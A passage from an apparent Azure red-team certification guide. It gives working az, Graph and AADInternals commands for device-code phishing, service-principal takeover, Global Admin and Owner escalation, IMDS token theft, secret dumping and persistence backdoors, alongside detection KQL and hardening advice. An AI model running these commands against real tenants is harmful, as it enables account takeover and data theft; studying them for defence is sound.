AZRTE Exam - Guided By RedBlock
HACKTRICKS AZRTE - AZURE RED TEAM EXPERT

AZRTE Field Guide — Azure Red Team Expert (HackTricks)
A deep, command-driven reference for the HackTricks Azure Red Team Expert (AZRTE) path. Every service section gives more exploit commands with documentation of what each call does, the misconfig/privesc vector, a worked example, and Detect & Harden (with example KQL). Covers Entra ID + Azure fundamentals → tokens/APIs → enumeration → exploitation & chaining → methodologies → Entra↔AD hybrid pivoting → detection → two worked attack chains.
Per-topic format: Enumerate (az / Graph / PowerShell) → Misconfig / privesc → Example → Detect & Harden. ⚠️ Authorized use only. Every command targets tenants/subscriptions you own or are contractually engaged to test. Azure/Graph/AAD calls are logged and attributable — stay in scope, retain evidence, remediate what you prove. AZRTE is purple-team: exploit to prove impact, then close the gap.
Table of Contents
Azure & Entra ID Fundamentals
Azure Tokens & APIs (deep)
Tooling, Modules & Setup
Credential Access & Initial Access
Entra ID IAM — Enumeration & Privilege Escalation
Azure IAM (RBAC)
Azure Applications & Service Principals
Azure Key Vault
Virtual Machines & Networking
Storage Accounts, File Share, Table & Queue
Databases: SQL, MySQL/PostgreSQL, CosmosDB
App Service, Function Apps & Static Web Apps
Containers: ACR, ACI, Container Apps & Jobs
Automation Accounts & Logic Apps
Service Bus, Cloud Shell & Virtual Desktop
Methodologies (White box, Black box)
Pivoting between Entra ID & AD (hybrid)
Conditional Access & MFA Bypass
Persistence Techniques (and telemetry)
Deep Enumeration & Attack-Path Queries
Detection Mechanisms (Entra logs, Sentinel KQL, Defender)
Defense / Hardening Master Checklist
Worked Attack Chain #1 — Device-code phish → Global Admin → Owner
Worked Attack Chain #2 — Managed identity (IMDS) → subscription takeover
Worked Attack Chain #3 — Consent phishing → Graph data → SP escalation
Quick Reference & Glossary
1. Azure & Entra ID Fundamentals
Two hierarchies, two planes:
Resource plane: Tenant → Management Groups → Subscriptions → Resource Groups → Resources, governed by Azure RBAC (Owner/Contributor/Reader/User Access Administrator + resource-specific roles) at a scope.
Identity plane (Entra ID): the directory of users, groups, service principals, app registrations, managed identities, governed by Entra roles (Global Administrator, Privileged Role Administrator, Application Administrator, …).
The bridge (exam-central): Entra roles ≠ Azure RBAC — except a Global Administrator can toggle "Access management for Azure resources" to receive User Access Administrator at root scope, converting identity dominance into resource dominance. That single toggle (elevateAccess) is a top privesc.
Principals: users; groups (assigned or dynamic — rule-based membership); service principals (the tenant instance of an app); app registrations (the app object + its credentials/permissions); managed identities (system- or user-assigned, passwordless SPs bound to Azure resources).
Permission models to keep straight: Entra roles (directory), Azure RBAC (resources), Graph app roles / delegated scopes (what an app/SP can do to Graph), and resource-local models (Key Vault access policies, Storage keys/SAS). Most findings are a customer misconfig in one of these.
2. Azure Tokens & APIs (deep)
Model: authenticate to Entra ID → receive an access token (short-lived JWT for one audience) + a refresh token (long-lived; mints new access tokens, sometimes for other audiences via FOCI family-client-IDs). Whoever holds a refresh token holds durable access.
Audiences you'll request:
az account get-access-token --resource https://management.azure.com --query accessToken -o tsv # ARM (resources)
az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv # Graph (identity)
az account get-access-token --resource https://vault.azure.net --query accessToken -o tsv # Key Vault
az account get-access-token --resource https://storage.azure.com --query accessToken -o tsv # Storage
az account get-access-token --resource https://database.windows.net --query accessToken -o tsv # Azure SQL
Decode a token (know what you hold):
TOKEN=$(az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv)
echo "$TOKEN" | cut -d. -f2 | sed 's/-/+/g;s/_/\//g' | base64 -d 2>/dev/null | jq '{aud,scp,roles,oid,tid,upn,appid}'
Claim cheat: aud=target API · scp=delegated scopes (user context) · roles=app permissions (SP context) · oid=principal object id · tid=tenant · appid=the client app. Raw API calls (when the CLI lacks a verb):
az rest --method GET --url "https://graph.microsoft.com/v1.0/me"
az rest --method GET --url "https://management.azure.com/subscriptions?api-version=2020-01-01"
# manual token use:
curl -s -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/organization" | jq .
FOCI pivot (Graph token → ARM token from one refresh token): family clients (Azure CLI, Az PowerShell, Office) share refresh tokens — request a new audience with the same RT (TokenTactics / roadtx). This is how a phished Office token becomes an ARM token.
3. Tooling, Modules & Setup
az login # interactive / --use-device-code / --service-principal
az login --use-device-code # device-code flow
az login --service-principal -u <appId> -p <secret> --tenant <tid>
az account show; az account list -o table
Connect-AzAccount ; Connect-MgGraph -Scopes "Directory.Read.All","Application.Read.All"
Get-AzContext; Get-AzRoleAssignment; Get-MgUser -All
Tool → phase map (authorized):
Tool | Phase / use |
|---|---|
roadrecon (ROADtools) | Full Entra dump from a token → local DB + GUI ( |
AzureHound → BloodHound | Graph Entra + RBAC attack paths (owns/adds-secret-to/member-of/has-role) |
MicroBurst | PowerShell: enum, dump Key Vault/automation secrets, storage, managed identity |
PowerZure | Azure enumeration & exploitation cmdlets |
AADInternals | Hybrid identity, AD Connect, token/PRT, Golden SAML |
TokenTactics / roadtx | Token manipulation, FOCI pivots, device-code phishing |
Stormspotter / ScoutSuite / Prowler(Azure) | Graph/audit posture |
# roadrecon (deep Entra enumeration from your creds/token)
roadrecon auth -u user@tenant -p '***' # or --device-code / --access-token
roadrecon gather # pull the whole directory
roadrecon gui # browse users/apps/roles/CAPs
# AzureHound (attack-path graph)
azurehound -u user@tenant -p '***' --tenant <tid> list -o azurehound.json
Op notes: identity lives in Graph, resources in ARM — get a token for each. Enumeration is heavy; prefer targeted queries when stealth matters (everything is logged, §18).
4. Credential Access & Initial Access
Device-code phishing (top identity foothold):
# 1) initiate the device-code flow for a first-party client (e.g. Azure CLI appId)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46&scope=https://graph.microsoft.com/.default offline_access"
# 2) relay the returned user_code + verification_uri to the target (they sign in)
# 3) poll the token endpoint until they authenticate -> you receive access + refresh tokens
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=04b07795-...&device_code=<dc>"
# (TokenTactics: Invoke-DeviceCodePhish automates this)
Illicit consent grant (consent phishing): register an app requesting Mail.Read offline_access (etc.), send the consent URL; on user consent you get a refresh token to their data — no password, MFA-agnostic. Managed identity / IMDS (after landing on compute) — see §9/§12; the classic non-phishing pivot. Leaked secrets: SP client secrets/certs in code/CI/ARM templates/storage; ~/.azure token cache; az/Az context; PRT/token caches on hosts (AADInternals Get-AADIntUserPRTToken). Detect & Harden: Conditional Access (block device-code where unneeded, require MFA/compliant device), admin-consent-only app policy, monitor risky sign-ins + new consents, scan repos/CI for secrets.
5. Entra ID IAM — Enumeration & Privilege Escalation
Enumerate (Graph, documented)
az rest --url "https://graph.microsoft.com/v1.0/me" # you
az rest --url "https://graph.microsoft.com/v1.0/me/memberOf" # your groups/roles
az rest --url "https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,id"
az rest --url "https://graph.microsoft.com/v1.0/groups?\$select=displayName,id,membershipRule" # dynamic rules
az rest --url "https://graph.microsoft.com/v1.0/servicePrincipals?\$select=displayName,appId,id"
az rest --url "https://graph.microsoft.com/v1.0/directoryRoles" # activated roles
az rest --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
az rest --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" # who can register apps/consent
az rest --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" # CA policies (gaps)
az ad user list -o table; az ad group list -o table; az ad sp list --all -o table
High-value Entra roles & what each buys you:
Role | Grants |
|---|---|
Global Administrator | Everything; can |
Privileged Role Administrator | Assign any Entra role → self-grant GA |
Application / Cloud App Administrator | Add credentials to any SP → act as it (incl. privileged SPs) |
Privileged Authentication Administrator | Reset creds/MFA of admins → take over GA |
User Administrator | Reset non-admin passwords |
Groups Administrator / group owner | Control group membership → inherited access |
Intune Administrator | Push scripts to devices → cloud→endpoint code exec |
Privilege-escalation vectors (with commands)
Add a secret to a privileged SP (Application Administrator / app owner):
az ad app credential reset --id <appId> --append --years 1 # returns a client secret you control
# or add a cert; then authenticate AS the SP:
az login --service-principal -u <appId> -p <secret> --tenant <tid>
# (Graph equivalent) POST /applications/<id>/addPassword
Assign yourself a directory role (Privileged Role Admin / SP with RoleManagement.ReadWrite.Directory):
az rest --method POST --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
--headers "Content-Type=application/json" \
--body '{"principalId":"<yourOid>","roleDefinitionId":"<GlobalAdminRoleTemplateId>","directoryScopeId":"/"}'
Dynamic-group abuse: if a dynamic group grants access via a rule on a writable attribute, set your attribute to match:
az rest --method PATCH --url "https://graph.microsoft.com/v1.0/users/<yourId>" --body '{"department":"Admins"}'
Reset a target's password (User Administrator):
az rest --method POST --url "https://graph.microsoft.com/v1.0/users/<targetId>/authentication/passwordMethods/<id>/resetPassword" --body '{"newPassword":"<pw>"}'
Detect & Harden: PIM (JIT + approval) for privileged roles; alert on Add member to role, Add service principal credentials, dynamic-rule changes, password resets; restrict app registration/consent; minimize GA count; Identity Protection risk policies.
6. Azure IAM (RBAC)
Enumerate
az role assignment list --all -o table
az role assignment list --assignee <objId> --all -o table
az role definition list --query "[?roleName=='Owner' || roleName=='User Access Administrator']" -o table
az account management-group list; az account list -o table; az group list -o table; az resource list -o table
Dangerous roles: Owner (full + RBAC), User Access Administrator (grant RBAC → self-Owner), Contributor (manage resources, not RBAC — but can run code on identities), and powerful resource roles (VM Contributor, Key Vault Administrator, Storage Account Contributor, Automation Contributor).
Privesc:
# User Access Administrator / Owner -> assign yourself Owner:
az role assignment create --assignee <yourOid> --role Owner --scope /subscriptions/<sub>
# Global Admin bridge (identity -> resources): elevate to User Access Administrator at ROOT
az rest --method POST --url "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
az role assignment create --assignee <yourOid> --role Owner --scope / # now possible at root
Contributor → code → managed-identity token (when you can't assign RBAC but can run code): run-command a VM / deploy a Function → steal its managed-identity token (often broader) → act as it. Detect & Harden: least-privilege RBAC; PIM for privileged RBAC; deny assignments; alert on Microsoft.Authorization/roleAssignments/write and elevateAccess.
7. Azure Applications & Service Principals
az ad app list --query "[].{name:displayName,appId:appId,id:id}" -o table
az ad sp list --all --query "[].{name:displayName,appId:appId}" -o table
az ad app owner list --id <appId> # who can add creds
az ad app credential list --id <appId> # existing secrets/certs
az rest --url "https://graph.microsoft.com/v1.0/servicePrincipals/<id>/appRoleAssignments" # app permissions granted
az rest --url "https://graph.microsoft.com/v1.0/oauth2PermissionGrants" # delegated consents
Misconfig / privesc: SPs with dangerous Graph app roles — RoleManagement.ReadWrite.Directory (grant any role), Application.ReadWrite.All (add creds to any app → SP takeover), Directory.ReadWrite.All, AppRoleAssignment.ReadWrite.All, PrivilegedAccess.ReadWrite.*. Owners who can addPassword. Over-broad admin-consented delegated scopes. Multi-tenant apps trusting external identities. Example — SP with Application.ReadWrite.All grants itself GA path: use it to add a credential to a more-privileged SP, or assign a directory role via §5. Detect & Harden: minimize app permissions; review admin consents; alert on credential additions + new app-role grants; workload identity federation over long-lived secrets; restrict app ownership/registration.
8. Azure Key Vault
az keyvault list -o table
az keyvault show -n <vault> --query "properties.{rbac:enableRbacAuthorization,net:networkAcls}" # RBAC vs access-policy, public?
az keyvault secret list --vault-name <vault> -o table
az keyvault secret show --vault-name <vault> --name <secret> --query value -o tsv # read a secret
az keyvault key list --vault-name <vault>; az keyvault certificate list --vault-name <vault>
# via a stolen Key Vault-audience token (managed identity):
TOKEN=$(curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" "https://<vault>.vault.azure.net/secrets?api-version=7.4" | jq .
Misconfig: over-permissive access policies or Key Vault RBAC (Administrator/Secrets User) to the wrong principals; a VM/App managed identity with vault access (token→secret pivot); public network access on. Detect & Harden: RBAC over access policies + least privilege; private endpoints; purge protection + soft delete; diagnostic logging → Sentinel; alert on bulk SecretGet.
9. Virtual Machines & Networking
az vm list -d -o table # -d shows power state + IPs
az vm identity show -g <rg> -n <vm> # managed identity attached?
az network nsg rule list --nsg-name <nsg> -g <rg> -o table # exposure (RDP/SSH to *?)
az vm list-skus; az disk list -o table # disks/snapshots (data theft)
RCE via run-command (VM Contributor / runCommand/action):
az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript \
--scripts "id; hostname; curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
# Windows: --command-id RunPowerShellScript --scripts "whoami; Invoke-RestMethod -Headers @{Metadata='true'} -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
IMDS managed-identity token theft (inside the VM):
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r .access_token
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq . # instance metadata
# use the token as ARM:
az login --identity 2>/dev/null || curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
Then act with the VM identity's RBAC (often Contributor on the RG). Also: Custom Script Extension (az vm extension set) is another code path; disk snapshots can be copied/downloaded for offline data theft. Detect & Harden: least-privilege managed identities; restrict runCommand/extension write; tight NSGs + Just-in-Time VM Access (Defender); alert on run-command and IMDS token requests; private snapshots.
10. Storage Accounts, File Share, Table & Queue
az storage account list -o table
az storage account show -n <acct> --query "{public:allowBlobPublicAccess,net:networkRuleSet.defaultAction}"
az storage account keys list -g <rg> -n <acct> -o table # account keys = FULL control (don't expire)
az storage container list --account-name <acct> --auth-mode login -o table
az storage blob list -c <container> --account-name <acct> --auth-mode login -o table
az storage blob download -c <container> -n <blob> --account-name <acct> --auth-mode login -f loot.bin
# anonymous/public container check (no auth):
curl -s "https://<acct>.blob.core.windows.net/<container>?restype=container&comp=list"
# generate a SAS if you hold a key (durable, scoped URL):
az storage container generate-sas --account-name <acct> -n <container> --permissions rlacw --expiry 2099-01-01 --account-key <key>
# File share / Table / Queue:
az storage share list --account-name <acct>; az storage file list -s <share> --account-name <acct>
az storage entity query -t <table> --account-name <acct> --auth-mode login
az storage message peek -q <queue> --account-name <acct> --auth-mode login
Misconfig: public/anonymous blob containers; leaked account keys (full, non-expiring) or over-scoped SAS; secrets in blobs/tables; Contributor RBAC that can listKeys → full data. MicroBurst can hunt public blobs by wordlist. Detect & Harden: disable public/anonymous access; Entra auth (--auth-mode login) over keys; short user-delegation SAS; rotate keys; private endpoints; Defender for Storage + logging.
11. Databases: SQL, MySQL/PostgreSQL, CosmosDB
az sql server list -o table; az sql db list -s <server> -g <rg> -o table
az sql server firewall-rule list -s <server> -g <rg> -o table # 0.0.0.0-255.255.255.255 = open?
az sql server ad-admin list -s <server> -g <rg> # Entra admin
az mysql server list -o table; az postgres server list -o table
az cosmosdb list -o table
az cosmosdb keys list -n <acct> -g <rg> --type keys # Cosmos primary key = full data
az cosmosdb keys list -n <acct> -g <rg> --type connection-strings
# connect with Entra token to SQL:
az account get-access-token --resource https://database.windows.net --query accessToken -o tsv
Misconfig: open firewall / "Allow Azure services"; leaked Cosmos keys; SQL admin over-grants; creds in connection strings (App Service settings, Key Vault, code); public network access. Detect & Harden: no open firewall rules; Entra auth + least privilege; private endpoints; rotate keys; auditing + Defender for SQL/OSS DBs.
12. App Service, Function Apps & Static Web Apps
az webapp list -o table; az functionapp list -o table
az webapp config appsettings list -g <rg> -n <app> -o table # secrets/conn-strings in settings!
az webapp identity show -g <rg> -n <app> # managed identity?
az webapp deployment list-publishing-credentials -g <rg> -n <app> # SCM/Kudu creds -> deploy code
az functionapp keys list -g <rg> -n <fn> # master/function keys
RCE & pivot:
Kudu/SCM console —
https://<app>.scm.azurewebsites.net/DebugConsolegives a shell in the app container (with publish creds).Deploy/overwrite code (zip deploy / publish creds) → run as the app's managed identity. App Service exposes the identity via env vars, not 169.254:
# inside App Service / Function (App Service auth model):
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" | jq -r .access_token
# -> ARM/Graph/Key Vault token for the app's identity
Function Apps: master/function keys allow invoking/administering; injected code → same managed-identity pivot. Static Web Apps: exposed API functions, weak auth/role config. Detect & Harden: secrets as Key Vault references (not app settings); disable SCM basic-auth/restrict publishing; least-privilege managed identity; monitor deployments + Kudu access.
13. Containers: ACR, ACI, Container Apps & Jobs
az acr list -o table; az acr repository list -n <registry> -o table
az acr credential show -n <registry> # ADMIN user creds (if enabled) = static push/pull
az acr login -n <registry>; docker pull <registry>.azurecr.io/<repo>:<tag> # inspect layers for secrets
az container list -o table # ACI
az container exec -g <rg> -n <aci> --exec-command "/bin/sh" # shell into a container instance
az containerapp list -o table; az containerapp job list -o table
Misconfig: ACR admin user enabled (static creds); images embedding secrets; anonymous/over-shared pull; containers/ACI/Container Apps with an over-privileged managed identity (IMDS/IDENTITY_ENDPOINT pivot). az acr build/task runs as a registry identity. Detect & Harden: disable ACR admin user (Entra/tokens); scan images (Defender for Containers); no secrets in images; least-privilege identities; private registries.
14. Automation Accounts & Logic Apps
az automation account list -o table
az automation runbook list --automation-account-name <aa> -g <rg> -o table
az rest --url "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Automation/automationAccounts/<aa>/runbooks?api-version=2019-06-01"
az rest --url ".../automationAccounts/<aa>/variables?api-version=2019-06-01" # stored variables/secrets
az logic workflow list -o table
az rest --url "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Logic/workflows?api-version=2019-05-01"
Privesc — runbook RCE as the automation identity (often Contributor/Owner):
# create/import a PowerShell runbook that steals a token & acts, then publish + start it
az automation runbook create --automation-account-name <aa> -g <rg> -n pwn --type PowerShell
az automation runbook replace-content --automation-account-name <aa> -g <rg> -n pwn --content @pwn.ps1
az automation runbook publish --automation-account-name <aa> -g <rg> -n pwn
az automation job create --automation-account-name <aa> -g <rg> --runbook-name pwn
# pwn.ps1 (concept): Connect-AzAccount -Identity ; then read Key Vault / assign roles as the automation identity
Logic Apps: abusable API connections + managed identity; HTTP-trigger workflows with a guessable/exposed URL may allow unauthenticated invocation of privileged flows. Detect & Harden: least-privilege automation/Logic identities; restrict runbook create/edit/start; protect stored variables/credentials; authenticate Logic triggers; monitor job creation.
15. Service Bus, Cloud Shell & Virtual Desktop
az servicebus namespace list -o table
az servicebus namespace authorization-rule keys list --namespace-name <ns> -g <rg> --name RootManageSharedAccessKey
# Cloud Shell backing storage (holds the user's files/tokens):
az storage account list --query "[?tags.\"ms-resource-usage\"=='azure-cloud-shell']"
# AVD host pools (domain-joined session hosts -> on-prem foothold):
az rest --url "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.DesktopVirtualization/hostPools?api-version=2022-02-10-preview"
Misconfig: Service Bus SAS keys (esp. RootManageSharedAccessKey) → full send/receive/manage; Cloud Shell file share can hold tokens/creds and a compromised session runs as the user; AVD session hosts are domain-joined → pivot to on-prem AD (§17). Detect & Harden: scoped SAS (not Root) + rotation; protect Cloud Shell storage; isolate AVD host pools; monitor.
16. Methodologies
White box (given a principal / config export)
Identify:
az account show; decode tokens (§2);Get-AzRoleAssignment; Graph/me,/me/memberOf.Graph the tenant:
roadrecon gather+ AzureHound→BloodHound — Entra role edges, app ownership, group membership, RBAC paths, dynamic-group rules, CA gaps.Map privesc edges (§5/§6): role assignments, app-credential-add rights, dynamic groups, managed identities, GA→
elevateAccess.Find data sinks: Key Vault, Storage, DBs, app settings.
Chain → Global Admin / Owner, logging every call.
Report with least-privilege fixes.
Black box (from leaked creds / foothold)
Authenticate; enumerate what the principal sees (
roadrecon,az, Graph); decode the token audience/roles.Hunt readable secrets (Key Vault, storage, app settings) and managed identities to pivot.
Land on compute (VM/App/Function/Automation/ACI) → IMDS/IDENTITY_ENDPOINT token → act as its identity.
Escalate via Entra/RBAC edges to GA/Owner; consider device-code/consent phishing for identity footholds.
17. Pivoting between Entra ID & AD (hybrid)
Hybrid tenants sync on-prem AD ↔ Entra via Entra Connect (AD Connect) — a two-way surface.
On-prem AD → cloud:
# on/against the Entra Connect server (AADInternals):
Get-AADIntSyncCredentials # extract the sync (MSOL_) account creds from AD Connect
Get-AADIntCloudSyncCredentials
# with sync creds -> replicate/act in the cloud; or DCSync on-prem then use cloud-relevant creds
Entra Connect server = Tier-0: compromise it →
Get-AADIntSyncCredentials→ the sync account is highly privileged in Entra.PHS (Password Hash Sync): the sync path lets you read/replicate hashes; DCSync on-prem → crack/pass.
PTA (Pass-Through Auth): implant on the PTA agent → intercept cleartext tenant auth.
Seamless SSO (
AZUREADSSOACC$): its Kerberos key enables Silver-Ticket-style forging of cloud auth.Golden SAML (AD FS): steal the token-signing certificate → forge SAML assertions → sign in as any user to federated apps, bypassing MFA (
New-AADIntSAMLToken/Export-AADIntADFSSigningCertificate).
Cloud → on-prem AD:
Intune (Global/Intune Admin): push a script/app to enrolled endpoints → run code on on-prem-joined machines.
Hybrid-joined Azure VMs / AVD hosts: domain-joined →
run-command→ on-prem AD foothold.
Detect & Harden: Entra Connect / AD FS as Tier-0; protect the token-signing cert; monitor sync-account use, Golden-SAML indicators, Intune script deployments; isolate hybrid-join paths.
18. Conditional Access & MFA Bypass
Conditional Access (CA) is Entra's policy engine (require MFA / compliant device / block legacy). Red-team value: find the gap that lets a stolen credential in without MFA.
Enumerate CA policies & find gaps:
az rest --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" | \
jq '.value[] | {name:.displayName,state,users:.conditions.users,apps:.conditions.applications,controls:.grantControls}'
# look for: excluded users/groups, excluded apps, "legacy auth" not blocked, trusted-location carve-outs, report-only policies
Bypass classes (concept):
Legacy authentication (IMAP/POP/SMTP/older Exchange) often ignores MFA — if not blocked, password-spray legacy endpoints.
Device-code flow is frequently not covered by CA app conditions → phish a device code even when interactive login requires MFA.
Token theft = post-MFA: a stolen refresh token / PRT / session cookie already passed MFA — replaying it needs no second factor (
roadtx,TokenTactics, AADInternals PRT).Excluded principals / apps: a break-glass account or an app excluded "for compatibility" is an unguarded path.
Guest/B2B and service principals are often out of scope of user-focused CA. Detect & Harden: block legacy auth; require MFA + compliant/hybrid-joined device (defeats simple token replay); include device-code in CA; minimize exclusions; enable Continuous Access Evaluation and token protection; monitor sign-ins with
authenticationRequirement=singleFactoron privileged accounts.
19. Persistence Techniques (and telemetry)
Understand these to establish (authorized) and to detect:
Technique | Command (authorized) | Audit/Activity event |
|---|---|---|
Backdoor SP credential |
|
|
Federated identity credential (passwordless backdoor) | Graph |
|
Add app owner (regain cred-add rights) |
|
|
Grant SP a privileged app role | Graph |
|
Eligible PIM assignment (stealthy role) | Graph PIM |
|
Backdoor Conditional Access (exclude your account) | Graph |
|
Invite a guest you control |
|
|
Golden SAML (federated, durable) | AADInternals | (on-prem; hard to see in cloud) |
Azure RBAC backdoor (Owner at a scope) |
|
|
Harden: alert on all of the above — especially federated-credential adds, SP credential adds, CA policy edits, and new eligible PIM assignments; review app owners; treat break-glass exclusions as monitored. |
20. Deep Enumeration & Attack-Path Queries
roadrecon (offline Entra analysis from one token):
roadrecon auth --device-code # or -u/-p / --access-token
roadrecon gather # full directory into roadrecon.db
roadrecon gui # browse users, apps, roles, CAPs, MFA methods
roadrecon plugin policies # dump CA policies
AzureHound → BloodHound (attack paths): ingest azurehound … list -o out.json, then hunt edges:
// who can escalate to Global Admin?
MATCH p=shortestPath((n)-[*1..]->(m:AZRole {displayname:"Global Administrator"})) RETURN p
// principals that can add credentials to a privileged service principal
MATCH (u)-[:AZAddSecret|AZOwns]->(sp:AZServicePrincipal) RETURN u.name, sp.name
// Owners of subscriptions / User Access Administrators
MATCH (u)-[:AZOwns|AZUserAccessAdministrator]->(s:AZSubscription) RETURN u.name, s.name
MicroBurst (PowerShell) quick wins:
Get-AzPasswords # dump Key Vault secrets, automation creds, storage keys, app settings
Invoke-EnumerateAzureBlobs -Base <name> # find public blobs by wordlist
Get-AzDomainInfo # broad tenant recon
Graph one-liners worth saving:
az rest --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal" # who has which role
az rest --url "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appRoles/any(r:r/value eq 'RoleManagement.ReadWrite.Directory')"
az rest --url "https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(c:c eq 'DynamicMembership')" # dynamic groups
az rest --url "https://graph.microsoft.com/v1.0/users?\$filter=userType eq 'Guest'" # guests
21. Detection Mechanisms (Entra logs, Sentinel KQL, Defender)
Entra ID & Azure logging
az monitor activity-log list --offset 2h --query "[].{op:operationName.value,caller:caller,status:status.value}" -o table
az rest --url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$top=20&\$orderby=activityDateTime desc"
az rest --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$top=20"
Entra Sign-in logs — auth events, location, MFA, CA result, risk.
Entra Audit logs — directory changes: role assignments,
Add service principal credentials, consent grants, group changes.Azure Activity Log — control-plane ops:
roleAssignments/write,runCommand,listKeys,elevateAccess.
Microsoft Sentinel — example KQL (the red-team tells)
// new credential added to a service principal / app
AuditLogs
| where OperationName in ("Add service principal credentials","Update application – Certificates and secrets management")
| project TimeGenerated, InitiatedBy, TargetResources
// GA elevate-access to Azure root
AzureActivity
| where OperationNameValue has "elevateAccess"
// privileged role added
AuditLogs
| where OperationName == "Add member to role" and TargetResources has "Global Administrator"
// mass Key Vault secret reads
AzureDiagnostics
| where ResourceType == "VAULTS" and OperationName == "SecretGet"
| summarize c=count() by CallerIPAddress, bin(TimeGenerated, 5m) | where c > 20
Microsoft Defender for Cloud & EASM
Defender for Cloud — CSPM (Secure Score, recommendations) + workload protection (Servers/Storage/SQL/Containers/Key Vault) alerts.
Defender EASM — external attack-surface discovery.
Defender XDR / MDE / MDI — endpoint + identity signals into one incident graph. Harden: Entra diagnostic settings → Log Analytics/Sentinel; Defender for Cloud plans on; Identity Protection risk policies; alert on the tells above.
22. Defense / Hardening Master Checklist
Identity: least-privilege Entra roles; PIM (JIT+approval) for GA/PRA/UAA; minimal GAs; admin-consent-only + restrict app registration.
Apps/SPs: minimal Graph app roles (no
*.ReadWrite.Allsprawl); workload-identity federation over secrets; alert on credential adds + app-role grants; review consents.RBAC: least privilege; avoid Owner/UAA sprawl; deny assignments; monitor
roleAssignments/write+elevateAccess.Managed identities: least privilege; restrict
runCommand/deploy/runbook; treat IMDS/IDENTITY_ENDPOINTas sensitive.Data: no public storage/anonymous blobs; Entra-auth over keys/SAS; Key Vault RBAC + private endpoints; no open DB firewall; rotate keys.
Hybrid: Entra Connect / AD FS Tier-0; protect token-signing cert; monitor sync account + Golden-SAML.
Detection: Entra diagnostics → Sentinel; Defender for Cloud on; Identity Protection; alert on role/credential/consent/
elevateAccess/runCommand/KV-read anomalies.
23. Worked Attack Chain #1 — Device-code phish → Global Admin → Owner
Authorized/lab.
Initial access: device-code phish → victim signs in → you get their refresh token → mint Graph + ARM tokens (FOCI). Telemetry: unfamiliar sign-in. Fix: CA block device-code / require compliant device.
Enumerate:
roadrecon/AzureHound → the user owns an app registration whose SP holdsApplication.ReadWrite.All. Fix: remove app-owner sprawl.Privesc (SP takeover):
az ad app credential reset --id <appId> --append→az login --service-principal ...as the privileged SP. Telemetry:Add service principal credentials. Fix: alert on credential adds.Entra escalation: use
Application.ReadWrite.All/ a directory-role assignment → reach Privileged Role Admin → assign Global Admin. Telemetry:Add member to role. Fix: PIM + alerting.Bridge to resources: as GA,
elevateAccess→ User Access Administrator at root → assign Owner on the subscription. Telemetry:elevateAccess(very high signal). Fix: alert on it.Loot: read Key Vault secrets, dump storage/Cosmos keys,
run-commanda VM for its managed-identity token. Chain: phish → app-owner → SP secret add → PRA → GA → elevateAccess → Owner → loot. Any one fix breaks it.
24. Worked Attack Chain #2 — Managed identity (IMDS) → subscription takeover
Authorized/lab. Entry: an SSRF or RCE on an Azure-hosted app/VM.
Foothold: SSRF/RCE on a VM or App Service. For SSRF, force the server to hit the metadata endpoint:
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ (Header: Metadata:true)(App Service: use
IDENTITY_ENDPOINT+IDENTITY_HEADERinstead.)Steal the managed-identity token for ARM; confirm what it is:
TOKEN=...; echo "$TOKEN" | cut -d. -f2 | base64 -d | jq '{aud,oid}'curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .Enumerate the identity's RBAC:
az role assignment list --assignee <oid> --all→ it's Contributor on the resource group (common).Escalate: Contributor can create resources & run code — deploy a runbook/Function or
run-commandother VMs to harvest more managed-identity tokens; find one with Owner/User Access Administrator, or a VM whose identity can read Key Vault admin secrets.Consolidate: with an Owner/UAA identity, assign yourself Owner; with Key Vault access, pull the crown-jewel secrets (SP creds, DB strings) → durable tenant access. Chain: SSRF/RCE → IMDS token → Contributor → lateral managed-identity harvest → Owner/Key Vault → subscription takeover. Fixes: block SSRF to
169.254.169.254, least-privilege managed identities, restrictrunCommand, private Key Vault + least privilege.
25. Worked Attack Chain #3 — Consent phishing → Graph data → SP escalation
Authorized/lab. No password needed — abuse OAuth consent.
Illicit consent grant: register a multi-tenant app requesting
